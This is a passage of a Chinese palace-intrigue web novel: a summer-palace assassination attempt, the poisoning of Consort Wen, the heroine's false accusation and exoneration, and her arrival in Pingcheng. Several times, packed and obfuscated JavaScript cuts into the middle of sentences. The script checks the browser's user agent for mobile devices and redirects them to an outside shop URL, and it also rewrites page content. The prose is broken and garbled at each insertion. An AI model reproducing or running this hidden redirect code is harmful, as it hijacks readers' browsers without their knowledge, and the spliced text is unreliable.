那日雨确实大,几乎将衣物全都淋湿了,莲玉荇是女子,身子应当是受不住。 受了寒症,就该在府里好好休息,丞相府与景王府相隔甚远,还特地跑过来,真是“有心”。 贺砚随心绪复杂,兴致也不佳,脸色黑了下来,十九和迎月看得胆战心惊。 迎月观贺砚随面色不太对,赶紧开口道:“丞相府半夜去请了郎中,莲姑娘确实得了寒症,被王爷派出去的暗卫探查到了。” 顿了一会儿,迎月补充了一句,“昨日刚醒。” 贺砚随却不想听了,起身准备离开,“加派人手盯着景王府,看他们准备做什么。” “是!”十九和迎月齐齐应声。 ** 六月初三,吉日。 钦天监焚香祭祀,早就准备好的队伍在昭文帝一声令下旋即开拔,前往皇家避暑行宫。 这两个月,所有的公事要事都送往避暑行宫,由昭文帝和诸位大臣批阅。 莲玉荇一家在宫妃车队之后,莲玉荇掀了帘子往外看,青山绿水,比起京城也多了几分自由。 只是人多纠葛便多了,她依稀记得前世在避暑行宫闹出不少事情,只希望在这两个月内能够相安无事。 还没等收回视线,突地对上一双熟悉的眼睛。 莲玉荇愣了一瞬,贺砚随一身骑装,和一众皇孙贵胄一行,坐在高头大马上,姿态利落潇洒,丰神俊朗,看到她时视线明显顿住。 莲玉荇不想和贺砚随多做纠缠,反应过来后放下帘子,缩回车内。 她已经和贺沅安达成协议,要是帮贺沅安立下功绩,让他圣上面前展露风头,贺沅安便答应和她合作。 不过,对于贺沅安她还不甚了解,也得做好贺沅安反悔的准备。 她现在没有什么筹码,若是有权力在手,便不用这么受制于人了。 毕竟,以她的能力,将人捧上九五至尊之位,也非极其困难之事。 “阿荇,距离行宫还有些路程,先吃点东西垫垫肚子。”莲夫人把备好的点心递给莲玉荇,“你近来瘦了不少,一路舟车劳顿,多吃点。” “谢谢母亲。”莲玉荇伸手接过糕点。 莲丞相坐在马车一侧闭目养神,叮嘱道:“避暑行宫里人员混杂,除了陛下,皇子皇孙,妃嫔诰命也不少,需得小心行事,不可冲撞了贵人。” 莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430442|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉荇点了点头,表示自己知晓了。 车队走了二三个时辰,终于到了避暑行宫,皇子宫妃家臣按照分配好的房间入住。 莲玉荇进了卧房,妙青则开始铺床,打理卧房。 卧房在院子最边上,有一处天然温泉,正好可以缓解疲惫。 用了晚膳,一众人前往昭文帝居住的悠宁宫请安,昭文帝看起来分外疲倦,不到半个时辰,便让众人退下了。 “妙青,听说行宫园景绝妙非常,不如你跟我一起去走走。”莲玉荇道。 虽说前世已经来过一次避暑行宫,但勾心斗角的事情层出不穷,莲玉荇疲于应付,更别说看看行宫周边的景色。 回了京都,没什么机会到别的地方去游玩,现在倒是一个好机会。 晚上天气转凉,行宫处风有点大,莲玉荇接过妙青递过来的披风,穿在身上。 行宫各处假山林立,建筑园景均来自全国各处名工巧匠,精雕细琢,依稀可以窥见几分工匠的巧思。 莲玉荇莫名胸闷,不知什么缘由,她埋头顺着小道走,过了许久,抬头环顾四周,才发现妙青不知道什么时候和自己走散了。 想来应该是小路弯弯绕绕,一时丢了方向,她也不再多想,放慢脚步悠悠地走。 忽听得远处凉亭传来断断续续的说话声,听不真切,“……王爷,逛了好一会儿了,奴才给您备了茶水,先歇歇吧。” 脚步一下顿住,莲玉荇有些犹豫,不知道该不该往前走,正准备退回去,被人叫住,“莲姑娘也在这儿。” 贺沅安显然已经看到了她,现在退回去也于事无补,反倒显得她没有礼数。 “参见景王殿下。”莲玉荇走到凉亭外面站定,向凉亭里端坐的贺沅安行礼,贺沅安眉眼间的笑意不达眼底,招呼下人给她倒了茶水。 “避暑行宫里的景色十分怡人,只是位置较为偏远,没什么人来,本王没想到莲姑娘会来这里观赏。”贺沅安随口说道:“后面的湖里有两条锦鲤,大约是怕人,不见了踪影。” 话音刚落,遍身通红的锦鲤越出水面,叼了一口鱼食,重新退回水中。 妙青也找到了正确的路,看到莲玉荇的时候显然松了好一口气,向贺沅安行礼后,站到莲玉荇身边不远处。 莲玉荇看了一眼妙青,收回视线,她已与贺沅安交谈过,发现此人并不像传说中那般谦和有礼,反倒步步为营,屡屡试探。 与其说是与她观景,不如说是试探她是否听到他和下人的交谈之语。 莲玉荇思索片刻,笑道:“王爷眼光独到,看上的景观也是一绝,臣女偶然进入此地,恰好碰上王爷品茗,臣女之幸。” 贺沅安闻言似笑非笑,转了话题,“你哥哥驻守河西郡已然快一年,不知何时回京述职?” “想来还有两三个月的光景。”莲玉荇回答道。 相顾无言。 莲玉荇百无聊赖,面上没什么表情,衣袖下的手摩挲着,得想个法子离开。 她站起身,向贺沅安欠身,“方才是臣女冲撞了王爷的雅兴,便不打扰王爷雅兴,臣女先行告退。” 只是还没来得及退出凉亭,脚下忽然踉跄,整个人不受控制朝台阶下倒去。 凉亭外全是细碎的石子,若是磕在地上,轻则擦伤,重则毁容。 莲玉荇心里叫苦不迭,却全无办法,只能任由身子往地上倒去。 “……” 她怕不是和贺家两兄弟犯冲。 8. 刺杀 预料中的惨烈场面并没有出现,一双手虚虚扶住了她的手臂,莲玉荇才将将站定了。 “……”待莲玉荇看清那人的面庞,有些惊讶,“是你……” 迎月朝她行礼,转身往后退去,她这才发现迎月后面还有一人,正是许久未见的贺砚随,只是现在貌似心情不太好。 莲玉荇瞧见贺砚随泛黑的脸色,心里暗暗嘀咕,难道是吃错药了? 她收回视线,朝迎月微微颔首,以示感谢,却听得身边人冷哼了一声。 “哼。” “二位真是好兴致,本王倒不知这避暑行宫的景色有这么好看。” 话音落下,贺砚随淡淡往她这边瞥了一眼,没什么温度。 莫名其妙。莲玉荇对上贺砚随的眼睛,十分坦荡,贺砚随却移开眼睛,看向了贺沅安。 贺沅安脸色好像僵了一瞬,缓缓开口回击:“自然是比不得兄长日日奔忙,都没有歇息的时间。不如趁着在行宫的这段日子,好好将养。” “哦?弟弟看起来比为兄还要忙,日日会见宾客,到了行宫也不例外。”贺砚随呛声:“得了空闲,不如多休息,别出来惹眼。” “……” 城门失火,殃及池鱼。 贺砚随和贺沅安你来我往,两个人嘴皮子不让分毫,莲玉荇在一旁默默站着,走也不是,坐也不是,恍若池塘里那尾鱼。 过了许久,贺沅安黑着脸甩袖离开,贺砚随眼底闪过一丝畅快,转而走到莲玉荇面前,冷冷说道—— “就这么喜欢本王的胞弟?” 语气刻薄、冷淡,不知道是不是她的错觉,似乎还带着微不可查的醋意。 莲玉荇愣了片刻,被口水呛得直咳嗽,她怎么不知道贺砚随这么不要脸? 只是还未来得及反驳,贺砚随便头也不回地走了。 ** 几天后,昭文帝心情甚佳,下旨命人准备一场放灯会,着行宫内众人前往后山放灯。 山上挂满各式各样的灯笼,远远望去,满山灿烂灯火色,让人看了心情不自觉舒畅。 昭文帝和皇后贵妃站在中间,正兴致勃勃地往长明灯上题字,莲丞相与大臣们相谈甚欢,莲玉荇则带着莲夫人站到一边,几乎没什么存在感。 不一会儿妙青领了长明灯回来,“老爷、夫人、小姐,可以在灯上面写下心愿或者祝福。” “嗯。”莲玉荇视线往周边一扫,接过毛笔,题了几个字,眼角漾开一抹不易察觉的欢喜。 “阿荇的字又长进许多,若是被你阿兄见了,必定好一番夸赞。”旁边的莲夫人凑过来看,言语间很是赞赏。 莲玉荇垂下眼,用手抚平纸面上的褶皱,轻声道:“兄长字迹奔放张狂,形神兼备,我尚且比不过。” …… 莲夫人还欲说些什么,急切的钟声响起,提醒众人吉时已到,可以放灯。 一行人往空旷处走去,小心翼翼地放飞手上的灯,脸上挂着笑意,想来是有很多美好祝愿。 莲夫人被挤着往前,莲玉荇则落在后面,捧着长明灯左看右看,总觉得哪里不对劲,眉头皱起。 旁人看了,还以为遇到什么棘手的难题。 没等莲玉荇想出来,忽地有人撞上她的手臂,手上拿着的长明灯顷刻间落了地,一呼一吸间,一双脚踩了上去。 “呀——” 伴随一声惊呼,长明灯被踩得四分五裂,上面的墨迹也晕染开来,一片狼藉。 莲玉荇看了看地上,抬起头看向始作俑者,眼神淡漠。 “你这是什么眼神?”撞坏长明灯的沈宁瞪大了眼睛,质问道:“不过是一个长明灯,堂堂丞相小姐不会连一个长明灯都要和我这个小女子计较吧,还真是‘大方’!” 说着脚下又使劲碾了碾,“这字本姑娘看写得也不怎么样,毁了就毁了,刚好重新写。” 见莲玉荇没反应,沈宁又道:“我们几个的书法尚可,你要是相求,可以帮你写上一写。” 尖酸刻薄的声音传进耳朵里,实在刺耳,莲玉荇摸了摸耳朵,终于“哦”了一声,语气平淡,“不劳诸位费心,几个字我还是写得了的。” 太尉之女沈宁自小与她不对付,加上她父亲与莲丞相在朝堂上政见不合,更加是水火不容。 跟在沈宁身后的粉衣女子,正是先前在赏花宴上言语相激的,看来应该是受沈宁指使。 现如今,又趁着贵人不在,抓到机会便来找她的麻烦,莲玉荇实在烦得很。 对于不讲理的人,莲玉荇从来没什么耐心,只吩咐妙青重新给她找了一个空白的长明灯,研墨题字一气呵成。 “你!”见莲玉荇没被刺激到,沈宁面色微变,想说什么,但又顾忌着不远处的昭文帝等人,压低了声音,“我们走着瞧!” 沈宁一行人来得快去得也快,莲玉荇摇摇头,端详着面前的字,提笔在上面勾勒了几笔,满意地点点头。 …… 放灯开始,皇子大臣争着往前走,贺砚随却悄无声息退了出来,落在后面,一眼就看到被人欺负的莲玉荇。 他饶有兴致旁观,本以为能看好一会儿的热闹,没想到找茬的贵女一下就被打发了,并且还憋了一肚子气。 他看着莲玉荇重新在长明灯上题字,笔锋苍劲有力,不似寻常女儿家。 好像确实不一样了。贺砚随沉吟片刻,发现莲玉荇在长明灯上勾勒了几笔,他远远看过去,视线瞬间停滞。 怎么画了一只王八? 贺砚随忍了好一会儿,才将笑意压了下去,再看过去,莲玉荇已经将长明灯放飞了。 夜风熹微,吹得人眼睛生疼,在一片火光中,贺砚随眯着眼睛,清晰地看见了莲玉荇在长明灯上题的字。 “惟馨荐矣,既醉歆焉。神之降福,永永万年。” 神之降福。 永永万年。 ** 放灯结束,昭文帝和一众宫妃大臣顺着山路下山,侍卫在前面开道,整座山已经被禁卫军围了个团团转,苍蝇也很难飞进来,但还是以防危急情况。 莲玉荇抄了另外一条道,两个侍从在前面开路,妙青则打着灯笼照明。 “小姐,您在长明灯上写了什么愿望呀?” 周边一片漆黑,妙青开口说话似乎使火光晃动了一瞬。 莲玉荇步履缓慢,似乎在沉沉思索,过了好一会儿才听到声音,“一些吉祥话罢了。” 话音刚落下,小道上的风声渐渐大了起来,灯笼上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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临走前,莲玉荇顿住脚步,往贺砚随那边看了一眼,贺砚随似有所感,安慰一般朝她笑了笑。 一路小心。莲玉荇无声说了一句话,她知道贺砚随武功极高,肯定能看到她说话。 贺砚随确实看见了,只是远处依稀传来骚乱的声音,让他不敢再懈怠分心。 看着莲玉荇的身影渐渐远去,才收回视线,匆匆往昭文帝所在的地方赶去。 大批黑衣刺客朝昭文帝所在的方位进攻,侍卫营一边要护住一众达官贵族,一边要抵抗刺客,实在掣肘。 贺砚随带着赶来救驾的禁卫军破开刺客防线,赶往昭文帝身边,大喊:“儿臣救驾来迟,父皇先行退往行宫内,待儿臣擒获刺客,再来向父皇请罪!” 昭文帝看向贺砚随的视线深沉不已,没有丝毫犹豫地在禁卫军的保护下,退往行宫。 一众刺客发现情况不对,疯了一般追着昭文帝赶,贺砚随持剑逆光而立,盯着刺客群里的首领,危险地眯了眯眼睛。 天上是承载着美好祝愿的长明灯,地下布满了杀人不眨眼的刺客。贺砚随不禁感慨,这群刺客还真会挑日子。 须臾,贺砚随抓住时机,腾空而起,将刺客首领枭首。 一时间空气都寂静了。 贺砚随手上的剑滴滴答答落着血,沉声道:“尔等首领已死,还不束手就擒!” 9. 毒药 避暑行宫内,悠宁宫。 昭文帝坐在上首,面色阴沉,带着龙纹戒指的手指一下下敲着龙椅,平静中带着几分焦灼。 方才遭遇刺客袭击的大臣们已经整理好仪容,伤口也已经被太医包扎过了,只是眼底仍然带着惊恐之色。 顾念着大局,贺砚随很快解决了刺客首领,大部分刺客发现情况不对服毒自尽,少部分刺客被禁卫军利落地卸了下巴,绑到悠宁宫大殿之上。 贺砚随跪地行礼,“参见陛下,刺客已被儿臣悉数拿下,全听候陛下发落。” 昭文帝脸色缓和了一瞬,示意贺砚随起身,“刺客来势汹汹,多亏了你及时赶到,等回宫后,朕便嘉奖于你。” “多谢陛下。”贺砚随起身,站到一边,在场的人都噤了声,贺沅安倒是不避讳地看向贺砚随,眼神不知是赞赏还是嘲弄。 莲丞相默不作声观察了一众人,上前一步行礼:“陛下,此番刺客的行动缜密无比,目标直指陛下,连守在外围的禁卫军也没能发现,看来是早已经做好刺杀准备。” “当务之急,是查清这伙刺客的来路,再者,还要排查避暑行宫中形形色色的人,看其中是否混入了刺客的内应,根除后患。”莲丞相揣摩着昭文帝的心意,说道。 昭文帝思索片刻,下了旨意,“传朕旨意,命端王贺砚随全权督办此事,禁卫军听从调遣,不得有误。” “遵旨!” ** 前朝水深火热,后院倒是安稳一片。 莲玉荇等人下山之后,便老老实实待在房间里,不敢到处走动。 还没有半个时辰,就有人来请,说是皇后邀世家贵女前去坐坐。 外面兵荒马乱,不知道刺客有没有全部落网,皇后就召集世家夫人和贵女,还真是心大。 想是这么想,莲玉荇但没有什么抵抗的意思,老老实实跟着去了后院。 一众世家夫人和贵女已经到齐,莲玉荇姗姗来迟吸引了不少人的视线,其中就有沈宁。 莲玉荇在莲夫人身边落座,视线掠过四周。 皇后和几位贵妃坐在上首,贵女们则被安排在院子里的席位。 皇后是一国之后,举止言谈端庄优雅,让人感觉很是慈祥。先是耐心安抚了众人焦躁不安的心情,又和众人分享了一些趣事。 莲玉荇先前对皇后的那些看法悉数丢了干净,满是好感,视线往右移了移,看向旁边。 那人身穿华贵服饰,头戴金钗步摇,风头几乎盖过了身边的皇后。 这便是冠宠后宫的温贵妃吧,莲玉荇心里有了猜测,就连一国之母的皇后,也得让她三分。 国公府军功赫赫,温贵妃又极为受宠,难怪温叙如此胆大妄为,在京城横行霸道。 不过要是再纵容温叙胡闹,国公府的荣耀却不一定长久。 这般想着,莲玉却发现温贵妃突然往她这边看了看,两人四目相对,气氛一时僵持。 莲玉荇扯出一个恰到好处的笑容,回应温贵妃试探的眼光。 好在温贵妃没怎么看她,很快就收回了视线,和皇后有说有笑。 莲玉荇松了一口气,她几乎以为温贵妃是要和她算温叙的账。毕竟她把温贵妃的侄子送进衙门,相当于打了温家的脸,也就是打了她温贵妃的脸。 只是还没高兴多久,温贵妃在一众人的注视下忽然站了起来,往她们这边走来。 来了。莲玉荇默念一声,果然看到温贵妃站在了自己面前,笑得分外慈祥和蔼,不过怎么看怎么假。 “本宫见莲姑娘的第一面,就觉得很和眼缘,本宫需回行宫更衣,不如就请莲姑娘随行,如何?” 温贵妃一锤定音,看似在询问,实际上没给莲玉荇任何选择。 当着这么多人的面,她不可能拂了堂堂贵妃的面子,即便温贵妃可能没存好意。 莲玉荇微微一笑,侧身给莲夫人一个眼神,走出坐席来到温贵妃身边,“这是臣女的荣幸,请——” 温贵妃眼底满是倨傲,这是上位者与生俱来的强势,先莲玉荇一步迈步离开,莲玉荇低眉敛目跟在后面。 坐席间传来窃窃私语,“温贵妃怎么突然要莲玉荇随行更衣?” “你怎么没看明白,分明是要给莲玉荇一个下马威!” “温世子被莲玉荇摆了一套,虽说在衙门没吃什么苦头,到底是被拂了面子,温贵妃怎么可能不替温世子找回场子呢?” “啊……那莲玉荇可要吃苦头了。” “……谁说不是呢。” …… 莲夫人将一切轻声细语都收进耳朵里,袖子里的手紧紧握住,很是担忧,面上却分毫没有显露。 并没有看到一侧的沈宁目不转睛地盯着她的脸色变化,脸上闪过快意。 莲玉荇,惹了温贵妃,该说明你是聪明还是蠢呢。 不过无所谓,我看你待会儿还出不出得了风头。 ** “坐吧。” 换好衣服的温贵妃从内室走出来,坐在主位,好整以暇看着莲玉荇的动作,十分惬意。 站了小半时辰的莲玉荇行动缓慢地往坐椅边挪去,对看热闹的温贵妃平静以待。 方才到了温贵妃居住的寝宫,温贵妃一句话也没说,径直进了内室,没说一句话,便把她晾在原地,还留下了一个宫女来看着她。 看吧,她就说温贵妃指定会给她穿小鞋,这不就来了。 刚坐下,温贵妃又问:“本宫听闻莲姑娘看人很准,不如你来给本宫说说,我那不争气的侄儿如何?” 还真是个棘手的问题。莲玉荇头脑转得飞快,说是不争气,应该还是让自己夸赞温叙。 “……温世子一表人才,假以时日,定是国之栋梁……”莲玉荇面不改色夸起了温叙。 夸他几句,又不会掉一块肉。 “莲姑娘口才也不错。”温贵妃笑得嘲讽,“既然莲姑娘对温叙评价如此之高,不如我向皇帝进言,将你许配给温叙,喜结连理,如何?” 没想到温贵妃会来这招,莲玉荇脸色微变,被温贵妃敏锐地捕捉到,得意地扯开嘴角。 欺软怕硬的玩意儿。温贵妃这般想着,心里很是嘲讽。 莲玉荇倒不是怕了,心想,这些人怎么总是以婚姻嫁娶来威胁人,是觉得离了婚姻就制不住女子了吗? 莲玉荇没再说话,任由温贵妃肆意打量。 过了一会儿,温贵妃大概觉得没什么意思,便放过了她,命人赐茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430444|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “离席许久,皇后她们该着急了,饮了这杯茶水,便随本宫归席。” 温贵妃发话了。 莲玉荇迟疑了一瞬,还是接过了茶水,眼下避暑行宫刚出了事,温贵妃应该不会这么蠢,给她下毒,旋即饮了茶水。 温贵妃看她识趣地喝下茶水,望向莲玉荇的目光也顺眼了不少,接过茶水,啜饮了一口。 好像没事,莲玉荇放下茶盏,正准备起身,却发现温贵妃十分痛苦地捂着胸口,脱力一般滑落在地上,很快没了动静。 莲玉荇一时间心神恍惚,不忘冲上前揽住温贵妃的身体,朝旁边呆愣着不知所的宫女喊道:“快去向陛下皇后通传!” 宫女如梦初醒般冲出门去,莲玉荇晃了晃温贵妃的身子,视线移到方才喝的茶盏上,眼神深邃。 难道温贵妃是想给她下毒?可她怎么没中毒,沾了毒的茶水还被温贵妃自己给喝了? 以身诱敌,有点行不通。要是把自己毒死了,就真是得不偿失了。 那,究竟是谁这么歹毒,从中作梗? ** 悠宁宫中,昭文帝和诸位大臣热火朝天议事,刺杀一事带来的影响几近消失。 “雨季已经到来,雨势也逐渐增长,各地要做好准备,以免发生涝灾。” “边境突厥部族异动频繁,应该要有什么大动作,快马加鞭将密信送往边境,让军队做好防备。” “近几日京都盐价涨了许多,派人去查查怎么回事。” “……” 昭文帝一番滔滔不绝布置下任务,有大臣领命前去,撞上了匆匆跑进殿的宫女。 宫女被这一撞直接跪倒在地上,惊惶不定,连连磕头。 昭文帝见到这一幕不禁皱起眉头,刚想问问怎么回事,余光瞥见贺砚随进殿,顾不得那跪地的宫女,赶忙将贺砚随招呼过去。 “查得如何?”昭文帝问道。 贺砚随一身血气,是方才审讯刺客时留下的,他将自己的调查结果呈上,“启禀陛下,这批刺客来自西北一带,很大可能是突厥部族派来的,趁禁卫军换值之时潜入行宫。另外,儿臣在行宫内抓到一个形迹可疑的宫人,应该就是刺客的内应。” “好好好。”昭文帝如释重负般笑出声,“既然已经查出来,接下来的事情便由你全权负责。” “遵命。” 解决了一桩心事,昭文帝才想起方才的宫女,叫侍卫把宫女带到面前。 “这奴婢方才冒冒失失闯进殿,已然犯了死罪,还不赶紧把她带出去!” 宫女被吓得肝胆俱裂,赶紧开口:“陛下饶命!奴婢是温贵妃宫里的!” 昭文帝终于正眼瞧过来,“何事?还不赶紧如实道来!” 昭文帝威严的声音吓得宫女一哆嗦,颤抖着开口:“温贵妃与……莲姑娘在寝宫闲谈,忽地倒地不省人事了……症状像是中毒……” 还未踏出悠宁宫殿门的贺砚随身形一顿,收回了脚步。 昭文帝先他一步走出殿门,帝王仪态此刻被丢了个干净,这样看来,昭文帝是真的宠爱温贵妃,不然也不会如此着急。 步伐不知不觉急促起来,贺砚随心脏砰砰地跳,一边命人去请御医,一边往温贵妃的寝宫赶去。 10. 端倪 贺砚随到时,寝宫门口已经堵得水泄不通。他隔着人群远远看去,昭文帝一脸焦急地拉着温贵妃的手,一众人站在皇后身后,表情各异,只有莲玉荇孤零零跪在床边。 贺砚随领着太医进了寝宫,“陛下,先让太医给贵妃娘娘把把脉,看一下情况如何。”说着,不着痕迹地往莲玉荇那边看了一眼。 太医战战兢兢诊脉,眉头紧皱,好一会儿才松开手,跪在皇帝面前,禀报实情:“启禀陛下,贵妃娘娘脉象虚浮,确实是中了毒。不知娘娘先前喝了什么、吃了什么,可否容微臣先查看一番?” 昭文帝挥挥手,立刻有人呈上茶具,太医接过,用手沾了茶水嗅了嗅,瞬间警觉起来。 太医皱眉说道:“这茶盏中有毒药的痕迹,依微臣看来,像是西北突厥部族特产的毒草,无色无味,所以就算喝到了也不会察觉。” 太医的话落下,当即在众人心里埋下怀疑的种子,昭文帝的脸色尤为难看,没想到突厥部族竟然如此大胆,竟然敢在行宫内公然下毒! 像是想到什么,昭文帝眼神倏然变化,看向莲玉荇的目光变了又变。 “莲玉荇,你不妨说说,你与贵妃一同喝了这茶,为何贵妃如今不省人事,而你却好端端的?!” “臣女不知。”莲玉荇仍旧跪着,姿态不卑不亢。 莲玉荇确实不知,她自己也糊里糊涂喝了茶,现下又糊里糊涂跪在这接受审问,实在冤枉。 昭文帝哼笑,连连反问,“你不知,你如何不知?莫不是你与那突厥勾结,意图谋害贵妃?” 一大顶帽子扣在头上,莲玉荇刚想说什么,就见莲丞相和莲夫人跪地行礼,急忙开口:“陛下明鉴,小女平日行事规矩,断然不敢做这种杀头灭族之事!” 在场的人神色各异,谁也不敢触了皇帝的霉头。 莲玉荇突然看到了桌上摆着的茶盏,福至心灵,“当时臣女与娘娘喝的是同一壶茶,事发突然,臣女也不能串通上茶的宫女下毒。” “陛下若是不相信臣女,可将臣女所用茶盏拿来查探。”莲玉荇眉宇间镇定自若,端得是光明磊落的模样。 昭文帝突然发怒,将温贵妃所使用的茶盏摔到莲玉荇面前,碎片割破了她的手背。 “还敢狡辩,方才侍卫勘察现场,发现你所使用的茶盏不见了。” “要说不是你故意为之,朕还真不信。” 昭文帝来的时候就已听皇后说了全部,在她们从后院赶来的空隙里,只有莲玉荇和温贵妃独自待在寝宫。 事态愈发不可控制,贺砚随眼睛瑟缩了一下,慢慢退了出去。 贺砚随站在阴影里,“十九,你去查查在突厥内应被发现之前,还有没有什么不对劲的人和事?” 莲玉荇不能出事,在他还没查清一切事情之前。 贺砚随这般想着,重新进入寝宫。 ** 太医给温贵妃用了药,毒已经基本被解了,昭文帝缓了神,满脸疲态。棘手的是,莲玉荇并不承认给温贵妃下毒。 从事情发生以后,莲玉荇在地上跪了两个时辰,浑身发软,汗珠源源不断从面上滴落,她眼前一阵阵发昏,已然力竭。 不知道昭文帝要让她跪到什么时候,是查出凶手,还是等温贵妃醒来为止?又或者不管青红皂白,只要昭文帝不高兴,她便随时可以推出去问斩? 莲玉荇不知道,也说不清楚,只觉得自己快死了,胸口闷痛,喉头涌起阵阵猩甜,用尽全身仅剩的气力才压了下去。 恍惚间,她听到昭文帝发话了,“既然拒不承认,那便即刻打进牢狱,严加审问!” 莲玉荇撩起眼皮,解脱一般呕出一大口血,鲜血浸湿了大片衣裳,模样十分可怖。 “阿荇!”莲夫人哭喊着扑上前去,几乎悲痛欲绝。 ** 悠宁宫。 “陛下,儿臣找到证据了,贵妃娘娘所中之毒并非莲姑娘所下,而是另有其人。”贺砚随拱手行礼,所言甚笃,连昭文帝都有了几分怀疑。 昭文帝:“可有证据?” 贺砚随当即将查到的证据呈上,命侍卫将人带进来,三人整整齐齐跪在地上,显然已经被吓破了胆子。 贺砚随面无表情看了看三人,道:“突厥刺客潜入行宫刺杀之时,此内应打算和刺客里应外合,遂在贵妃娘娘的茶水里下了毒。”他指了指中间之人。 “儿臣命人去御膳房查验了一番,恰好遇到了一个鬼鬼祟祟的宫女,正在处理莲姑娘用过的茶盏,被侍卫当场抓获。” “方才太医查验了莲姑娘的脉象,还有用过的茶盏,发现莲姑娘体内有两种毒药……” 贺砚随的话戛然而止,昭文帝是个聪明人,自然发现其中关窍,下毒的人共有两伙人,一伙给温贵妃下毒,一伙则买通了温贵妃身边的宫女,给莲玉荇下了毒。 或许是莲玉荇体内两种毒药中和之后,没有立即发作。 “那这第三人……”昭文帝若有所思,定睛看去,正是太尉之女沈宁,登时脸色一黑,“你好大的胆子!竟然在行宫内堂而皇之下毒!” 沈宁被昭文帝吼得发懵,反应过来赶紧求饶,“陛下饶命,陛下饶命!臣女只是一时鬼迷心窍,做了错事,求陛下饶了臣女!” “望陛下念臣往日没有功劳也有苦劳,饶她一条命吧……”太尉跪在一旁,重重磕头。 如今证据确凿,太尉也没有什么可辩驳的,只能听候发落。 昭文帝看得心烦,拍板定音,“太尉沈丘贬为绵阳太守,罚俸禄一年。所有人再为非作歹,必有重罚!” 众人胆战心惊退了出去,只有贺砚随还站在原地,方才昭文帝给他使了眼色,示意他留下,应该还有什么要事与他商议。 帝王的信任来得极其快,从前贺砚随只是不受重视的闲散王爷,救驾有功之后,便可随意出入帝王身边,委以重任。 昭文帝弯了弯唇角,虽年事已高,但帝王威仪仍然在,总有点不怀好意的意思,看得贺砚随心颤了几分。 “阿随,自你立府之后,朕还没和你独处过。”昭文帝拍了拍旁边的座位,让贺砚随坐下,“朕记得你小时候特别喜欢黏着朕。这两日来,你的能力朕看在眼里,众大臣也有目共睹,恰好朕这里有件要事需要你去做。” 贺砚随面上很是惶恐,内里毫无波澜,恭恭敬敬道:“父皇有命,儿臣定不负所托。” 昭文帝将桌上的折子递给他,顺便提了一句,“今日之事是朕误会莲姑娘了,待会儿你便以朕的名义,送点东西过去。” 说完便闭着眼睛挥挥手,今日发生了太多事情,昭文帝疲累得不行,示意贺砚随推下,贺砚随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莲玉荇看着信上的三个字有些怀疑,贺沅安会不会觉得自己在骗他?不去平城了? 过了好一会儿,莲玉荇摇摇头,把混乱的想法抛之脑后,他要是不来就算了,反正吃亏的不是她。 左不过去平城修养罢了。 ** 端王府,书房。 十九拿着密信急匆匆进了屋,道:“主子,先前您吩咐我们查的人已经查到了,最近的踪迹出现在绵阳、平城附近,具体行踪还在查。” “怎么都在平城?”贺砚随愣了一瞬,重新翻阅起折子,心神却已经游移不定了。 平城?贺砚随隐约有点印象,好像是莲玉荇的舅舅,也就是莲夫人母家所在的地方。 贺砚随啪的一声把折子合上,运粮官这时候还是个无名小卒,出入在各州郡也很正常。 贺砚随又问十九:“查过这人的底细与否?关系网要一一探查过去,不可遗漏半分。” 十九翻了翻书卷,在密密麻麻的人名中发现了一处显眼的,“王爷请看。” “此人先前是平城太守的门客,因为骄奢淫逸,被赶出府去,而这平城太守乃是莲丞相早年间的门生。” 和莲丞相有关。贺砚随细细琢磨着这句话,脸色一下子变得很是微妙。 难道真和莲玉荇有关系? 贺砚随心绪起伏不定,攥紧了拳头才平复下来几分。 不过怎么刚好在和私盐有关的地方?贺砚随隐约觉得有些不对劲,但又说不出什么所以然来,只能把疑问埋在心里,嘱咐十九备好车马,过几日便前往平城,一探究竟。 11. 平城 马车慢慢悠悠驶入官道,不一会儿在城门口停下,车夫把通行牌递给查验的官兵。 马车又重新开动起来,驶入城中,平城虽是京都之外的小城,但位于通往西北地区的第一要塞,来往人群鱼龙混杂,文化底蕴也同京都不大不同。 耳边嘈杂之声不断,莲玉荇掀开车帘往外看,叫卖糖葫芦的小贩、卖菜的大娘、卖首饰的年轻妇人……世间百态尽缩于方寸。 一切与记忆中的场景无甚差别。 莲玉荇心中雀跃,隐约有些迫不及待,年幼时她在平城待了两年,各种好吃的好玩的,几乎没有她不知道的。 当初离开平城那天,表弟楚元琅哭得一把鼻涕一把泪,硬要拽着她不放,哭喊着不让她离开,被小舅舅捉住打了一顿。 再次来到平城,还真是……恍如隔世了。莲玉荇眼里闪过怀念,片刻外露的情绪消散不见。 马车还未停稳,老远便听到一声清脆少年声,“表姐!” 莲玉荇下了马车,挑了挑眉,目光扫视着面前的年轻男子,还是和小时候一样活泼灵动。 “元琅,许久不见,你竟然长得比我阿兄还高了。”莲玉荇笑着调侃他。 